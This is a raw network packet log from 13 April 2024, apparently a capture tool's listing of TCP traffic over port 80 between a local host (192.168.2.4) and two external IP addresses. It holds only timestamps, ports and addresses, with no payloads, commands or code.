Apr 13, 2024 20:21:09.779742956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779756069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779762030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779781103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779789925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779968023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.780020952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.780359030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.780378103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.780407906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.780430079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.780536890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.780586958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.780724049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.780771971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.780895948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.780946970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781086922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781135082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781260967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781280041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781320095 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781636953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781656027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781672955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781687975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781697989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781717062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781723022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781744957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781775951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781856060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781873941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781891108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781908035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781920910 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781927109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781944036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781949997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781961918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781970024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781979084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.781994104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.781996012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.782006025 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.782012939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.782027960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.782030106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.782047033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.782047987 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.782063961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.782069921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.782082081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.782089949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.782099962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.782114983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.782115936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.782133102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.782141924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.782150984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.782166958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.782186985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.930597067 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.930674076 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.930712938 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.930753946 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.930790901 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.930829048 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.930867910 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.930906057 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.930919886 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.930946112 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.930982113 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.930982113 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931008101 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931010962 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931052923 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931085110 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931092024 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931119919 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931135893 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931147099 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931174040 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931210995 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931212902 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931246042 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931252003 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931263924 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931292057 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931330919 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931344986 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931344986 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931369066 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931377888 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931406021 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931420088 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931443930 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931463957 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931482077 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931493998 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931520939 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931540012 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931559086 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931576014 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931596994 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931616068 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931636095 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931652069 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931673050 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931693077 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931713104 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931731939 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931752920 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931762934 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931790113 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931807041 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931827068 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931844950 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931864977 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931883097 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931904078 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931929111 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931942940 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931952000 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.931979895 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.931988955 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.932019949 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.932039022 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.932058096 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.932070017 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.932096004 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.932117939 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.932137012 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.932161093 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.932176113 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.932178974 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.932254076 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.991216898 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.991864920 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:09.992021084 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.128691912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.128762007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.128830910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.128871918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.128933907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.128933907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.128933907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.128933907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.273473978 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273505926 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273524046 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273540974 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273561954 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273571014 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273571014 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273580074 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273597002 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273597002 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273614883 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273616076 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273633957 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273643017 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273650885 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273653984 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273669004 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273678064 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273686886 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273691893 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273706913 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273709059 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273727894 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273730993 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273742914 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273745060 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273763895 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273766994 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273785114 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273787975 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273797989 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273802996 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.273821115 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.273838997 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.415138960 CEST	49742	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.474668026 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.474725962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.474740982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.474766016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.474766016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.474803925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.474807024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.474842072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.474854946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.474880934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.474888086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.474919081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.474934101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.474960089 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.474972963 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.474997997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475006104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475035906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475042105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475073099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475080967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475109100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475116014 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475147009 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475184917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475195885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475224972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475230932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475263119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475270987 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475306034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475322962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475359917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475378990 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475399971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475404978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475436926 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475441933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475474119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475483894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475512028 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475517988 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475550890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475558043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475589037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475594044 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475625992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475641012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475663900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475701094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475722075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475739956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475755930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475779057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475786924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475817919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475827932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475857973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475869894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475894928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475903988 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475933075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475939989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.475970030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.475979090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476007938 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476011992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476046085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476052046 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476083040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476119041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476140976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476207972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476232052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476263046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476279974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476300955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476313114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476337910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476346016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476377010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476386070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476413965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476440907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476452112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476464033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476490021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476509094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476526976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476537943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476566076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476574898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476603031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476612091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476640940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476650953 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476675987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476677895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476715088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476742029 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476757050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476764917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476794958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476800919 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476830959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476838112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476869106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476870060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476906061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476917982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476944923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476949930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.476982117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.476988077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.477020025 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.477020025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.477057934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.477066040 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.477094889 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.477101088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.477133036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.477144957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.477170944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.477176905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.477209091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.477221966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.477246046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.477257967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.477283955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.477299929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.477323055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:10.477432966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:10.751506090 CEST	80	49742	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:10.752798080 CEST	49742	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:10.757669926 CEST	49742	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:11.095205069 CEST	80	49742	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:11.101500988 CEST	80	49742	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:11.103805065 CEST	49742	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:11.201080084 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:11.201391935 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:11.542860031 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:11.542975903 CEST	80	49743	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:11.543112993 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:11.543190956 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:11.547194958 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:11.887083054 CEST	80	49743	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:11.897455931 CEST	80	49743	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:11.897522926 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:11.920844078 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:11.921082020 CEST	49744	80	192.168.2.4	193.233.132.167
